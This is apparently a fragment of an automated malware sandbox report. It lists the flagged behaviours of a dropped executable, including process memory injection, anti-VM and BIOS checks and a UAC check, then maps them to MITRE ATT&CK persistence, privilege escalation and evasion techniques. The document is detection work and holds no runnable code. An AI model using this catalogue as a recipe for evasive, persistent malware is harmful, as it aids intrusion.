- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4232

C:\Users\Admin\AppData\Local\Common\Data\9E3D02D8\NetAgenta1a6e0.exe
C:\Users\Admin\AppData\Local\Common\Data\9E3D02D8\NetAgenta1a6e0.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
PID:2820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

System Information Discovery